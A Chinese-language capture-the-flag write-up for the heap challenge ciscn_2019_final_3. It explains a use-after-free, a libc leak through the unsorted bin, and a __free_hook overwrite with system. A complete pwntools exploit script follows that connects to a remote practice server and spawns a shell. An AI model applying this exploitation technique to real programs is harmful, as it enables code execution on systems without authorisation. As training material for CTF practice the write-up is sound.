ciscn_2019_final_3 需要避开当前free的chunk的下一个chunk不能超过arena的边界
安全检查
程序分析
没什么特别的
delete 典型的uaf漏洞
漏洞利用
- 利用uaf漏洞,指向一个堆的size域,然后修改为0x400以上,在delete就可以进入unsorted bin中
- 通过uaf再malloc,就可以泄露main_arena+96的地址,这样泄露了libc地址
- 劫持free_hook函数,进行hook,再申请一个/bin/sh字符串,即可
from pwn import * #p=process('./ciscn_final_3') p=remote('node3.buuoj.cn',25453) libc=ELF('../libc-2.27.so') elf=ELF('./ciscn_final_3') puts_got=elf.got['puts'] puts_plt=elf.plt['puts'] def add(idx,size,content): p.recvuntil('choice > ') p.sendline('1') p.recvuntil('index') p.sendline(str(idx)) p.recvuntil('size') p.sendline(str(size)) p.recvuntil('something') p.sendline(content) p.recvuntil('gift :') return int(p.recvline()[2:],16) def delete(idx): p.recvuntil('choice > ') p.sendline('2') p.recvuntil('index') p.sendline(str(idx)) heap=add(0,0x78,'a')#0 add(1,0x18,'b')#1 add(2,0x78,'c')#2 add(3,0x78,'d')#3 add(4,0x78,'c')#4 add(5,0x78,'d')#5 add(6,0x78,'c')#6 add(7,0x78,'d')#7 add(8,0x78,'c')#8 add(9,0x78,'d')#9 add(10,0x78,'c')#10 add(11,0x78,'d')#11 add(12,0x28,'pppp') delete(12) delete(12) add(13,0x28,p64(heap-0x10)) add(14,0x28,p64(heap-0x10)) add(15,0x28,p64(0)+p64(0x421)) delete(0) delete(1) add(16,0x78,'pppp') add(17,0x18,'pppp') libc_base=add(18,0x18,'pppp')-0x3ebca0 free_hook=libc_base+libc.symbols['__free_hook'] system_addr=libc_base+libc.symbols['system'] delete(3) delete(3) add(19,0x78,p64(free_hook)) add(20,0x78,p64(free_hook)) add(21,0x78,p64(system_addr)) add(22,0x78,'/bin/sh') add(23,0x78,'/bin/sh') #delete(22) #gdb.attach(p) p.interactive()